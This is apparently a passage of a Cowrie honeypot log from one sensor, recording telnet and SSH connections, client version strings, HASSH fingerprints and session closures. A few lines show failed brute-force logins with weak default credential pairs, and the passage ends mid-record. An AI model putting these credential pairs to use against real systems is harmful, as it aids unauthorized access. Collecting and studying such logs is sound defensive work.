{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36316,"dst_ip":"159.203.135.109","dst_port":23,"session":"b52ebfa830f7","protocol":"telnet","message":"New connection: 209.159.146.115:36316 (159.203.135.109:23) [session: b52ebfa830f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:21.376953Z"}
{"eventid":"cowrie.session.closed","duration":32.7209038734436,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:22.321073Z","src_ip":"209.159.146.115","session":"d5042d448562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.514033317565918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:22.945525Z","src_ip":"209.159.146.115","session":"0eec105d77a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49710,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1271325d519","protocol":"telnet","message":"New connection: 209.159.146.115:49710 (159.203.135.109:23) [session: c1271325d519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:23.673118Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51584,"dst_ip":"159.203.135.109","dst_port":23,"session":"88203aeab51f","protocol":"telnet","message":"New connection: 209.159.146.115:51584 (159.203.135.109:23) [session: 88203aeab51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:24.220553Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51768,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fc5e11b6c69","protocol":"telnet","message":"New connection: 209.159.146.115:51768 (159.203.135.109:23) [session: 9fc5e11b6c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:24.274917Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54500,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a35468c2139","protocol":"telnet","message":"New connection: 209.159.146.115:54500 (159.203.135.109:23) [session: 9a35468c2139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:24.924119Z"}
{"eventid":"cowrie.session.closed","duration":30.298007488250732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:26.113516Z","src_ip":"209.159.146.115","session":"176d14aa1386","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.75550675392151,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:26.180309Z","src_ip":"209.159.146.115","session":"25308dd7ac7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59944,"dst_ip":"159.203.135.109","dst_port":23,"session":"41c068f5f29e","protocol":"telnet","message":"New connection: 209.159.146.115:59944 (159.203.135.109:23) [session: 41c068f5f29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:26.466154Z"}
{"eventid":"cowrie.session.closed","duration":38.33087515830994,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:26.980041Z","src_ip":"209.159.146.115","session":"518509fe0580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38210,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f0b4493fe72","protocol":"telnet","message":"New connection: 209.159.146.115:38210 (159.203.135.109:23) [session: 3f0b4493fe72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:27.699654Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":57974,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffb16a4342a6","protocol":"ssh","message":"New connection: 186.13.24.118:57974 (159.203.135.109:22) [session: ffb16a4342a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:28.124248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:28.128444Z","src_ip":"186.13.24.118","session":"ffb16a4342a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:28.297079Z","src_ip":"186.13.24.118","session":"ffb16a4342a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"vbox","message":"login attempt [vbox/vbox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:28.998963Z","src_ip":"186.13.24.118","session":"ffb16a4342a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43118,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca039bd971bb","protocol":"telnet","message":"New connection: 209.159.146.115:43118 (159.203.135.109:23) [session: ca039bd971bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:29.172950Z"}
{"eventid":"cowrie.session.closed","duration":37.969675064086914,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:29.523916Z","src_ip":"209.159.146.115","session":"938cd7977bc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46832,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bb5ee51f399","protocol":"telnet","message":"New connection: 209.159.146.115:46832 (159.203.135.109:23) [session: 3bb5ee51f399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:30.044576Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:30.171028Z","src_ip":"186.13.24.118","session":"ffb16a4342a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":40748,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b46d89eaf91","protocol":"telnet","message":"New connection: 57.128.88.161:40748 (159.203.135.109:23) [session: 0b46d89eaf91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:31.044605Z"}
{"eventid":"cowrie.session.closed","duration":35.594924211502075,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:31.361161Z","src_ip":"209.159.146.115","session":"f613ef1a3dd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52482,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d8fdcd4a511","protocol":"telnet","message":"New connection: 209.159.146.115:52482 (159.203.135.109:23) [session: 9d8fdcd4a511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:31.664070Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57460,"dst_ip":"159.203.135.109","dst_port":23,"session":"080e60a98c6e","protocol":"telnet","message":"New connection: 209.159.146.115:57460 (159.203.135.109:23) [session: 080e60a98c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:32.244171Z"}
{"eventid":"cowrie.session.closed","duration":33.13452625274658,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:32.468953Z","src_ip":"209.159.146.115","session":"bd143e112534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58646,"dst_ip":"159.203.135.109","dst_port":23,"session":"2289f85d1a6b","protocol":"telnet","message":"New connection: 209.159.146.115:58646 (159.203.135.109:23) [session: 2289f85d1a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:32.484114Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34960,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ddbd1b3bf57","protocol":"telnet","message":"New connection: 209.159.146.115:34960 (159.203.135.109:23) [session: 9ddbd1b3bf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:33.331619Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":50698,"dst_ip":"159.203.135.109","dst_port":22,"session":"196f95d051f7","protocol":"ssh","message":"New connection: 103.180.212.135:50698 (159.203.135.109:22) [session: 196f95d051f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:34.259225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:34.264570Z","src_ip":"103.180.212.135","session":"196f95d051f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:34.457759Z","src_ip":"103.180.212.135","session":"196f95d051f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"123456","message":"login attempt [sshuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:35.263463Z","src_ip":"103.180.212.135","session":"196f95d051f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:36.463828Z","src_ip":"103.180.212.135","session":"196f95d051f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48128,"dst_ip":"159.203.135.109","dst_port":23,"session":"50d3d9a17998","protocol":"telnet","message":"New connection: 209.159.146.115:48128 (159.203.135.109:23) [session: 50d3d9a17998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:36.935006Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49196,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8c083d26917","protocol":"telnet","message":"New connection: 209.159.146.115:49196 (159.203.135.109:23) [session: b8c083d26917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:37.305463Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51752,"dst_ip":"159.203.135.109","dst_port":23,"session":"af1f4fe2763f","protocol":"telnet","message":"New connection: 209.159.146.115:51752 (159.203.135.109:23) [session: af1f4fe2763f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:38.035418Z"}
{"eventid":"cowrie.session.closed","duration":34.04140877723694,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:38.322616Z","src_ip":"209.159.146.115","session":"bc617be69bd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58280,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9daa0bc3860","protocol":"telnet","message":"New connection: 209.159.146.115:58280 (159.203.135.109:23) [session: b9daa0bc3860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:39.936616Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58470,"dst_ip":"159.203.135.109","dst_port":23,"session":"329e52bcc63d","protocol":"telnet","message":"New connection: 209.159.146.115:58470 (159.203.135.109:23) [session: 329e52bcc63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:39.982180Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58540,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ec2e9dc9953","protocol":"telnet","message":"New connection: 209.159.146.115:58540 (159.203.135.109:23) [session: 9ec2e9dc9953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:39.997431Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60594,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f84e056aa09","protocol":"telnet","message":"New connection: 209.159.146.115:60594 (159.203.135.109:23) [session: 8f84e056aa09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:40.759674Z"}
{"eventid":"cowrie.session.closed","duration":36.55747938156128,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:41.425034Z","src_ip":"209.159.146.115","session":"e67093ddafe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36442,"dst_ip":"159.203.135.109","dst_port":23,"session":"422ceb82fe75","protocol":"telnet","message":"New connection: 209.159.146.115:36442 (159.203.135.109:23) [session: 422ceb82fe75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:41.755891Z"}
{"eventid":"cowrie.session.closed","duration":38.78204894065857,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:41.935024Z","src_ip":"209.159.146.115","session":"45186201438c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37618,"dst_ip":"159.203.135.109","dst_port":23,"session":"a666229588b1","protocol":"telnet","message":"New connection: 209.159.146.115:37618 (159.203.135.109:23) [session: a666229588b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:41.978809Z"}
{"eventid":"cowrie.session.closed","duration":34.31607389450073,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:42.522535Z","src_ip":"209.159.146.115","session":"98225d405c0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45434,"dst_ip":"159.203.135.109","dst_port":23,"session":"47f7657c70f9","protocol":"telnet","message":"New connection: 209.159.146.115:45434 (159.203.135.109:23) [session: 47f7657c70f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:44.003013Z"}
{"eventid":"cowrie.session.closed","duration":36.650846004486084,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:44.446673Z","src_ip":"209.159.146.115","session":"c8d34b000929","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48430,"dst_ip":"159.203.135.109","dst_port":23,"session":"448228fc40f2","protocol":"telnet","message":"New connection: 209.159.146.115:48430 (159.203.135.109:23) [session: 448228fc40f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:44.910078Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50058,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccdb53364497","protocol":"telnet","message":"New connection: 209.159.146.115:50058 (159.203.135.109:23) [session: ccdb53364497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:45.377104Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55304,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a27b6d70d1e","protocol":"telnet","message":"New connection: 209.159.146.115:55304 (159.203.135.109:23) [session: 6a27b6d70d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:46.753260Z"}
{"eventid":"cowrie.session.closed","duration":32.18496513366699,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:47.112057Z","src_ip":"209.159.146.115","session":"b8626570deb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33486,"dst_ip":"159.203.135.109","dst_port":23,"session":"203ef0846665","protocol":"telnet","message":"New connection: 209.159.146.115:33486 (159.203.135.109:23) [session: 203ef0846665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:47.463479Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36272,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5be0fd39a36","protocol":"telnet","message":"New connection: 209.159.146.115:36272 (159.203.135.109:23) [session: b5be0fd39a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:47.767014Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38840,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab6d0d1782ea","protocol":"telnet","message":"New connection: 209.159.146.115:38840 (159.203.135.109:23) [session: ab6d0d1782ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:48.137343Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38954,"dst_ip":"159.203.135.109","dst_port":23,"session":"2040f8737438","protocol":"telnet","message":"New connection: 209.159.146.115:38954 (159.203.135.109:23) [session: 2040f8737438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:48.224073Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45334,"dst_ip":"159.203.135.109","dst_port":22,"session":"74806999e597","protocol":"ssh","message":"New connection: 159.203.92.129:45334 (159.203.135.109:22) [session: 74806999e597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:49.786381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:49.791311Z","src_ip":"159.203.92.129","session":"74806999e597","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:49.795969Z","src_ip":"159.203.92.129","session":"74806999e597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andy","password":"123456","message":"login attempt [andy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:49.808247Z","src_ip":"159.203.92.129","session":"74806999e597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":40648,"dst_ip":"10.17.0.5","dst_port":22,"session":"041c0c2a8d4f","protocol":"ssh","message":"New connection: 80.94.92.182:40648 (10.17.0.5:22) [session: 041c0c2a8d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:49.825559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:49:49.839447Z","src_ip":"80.94.92.182","session":"041c0c2a8d4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v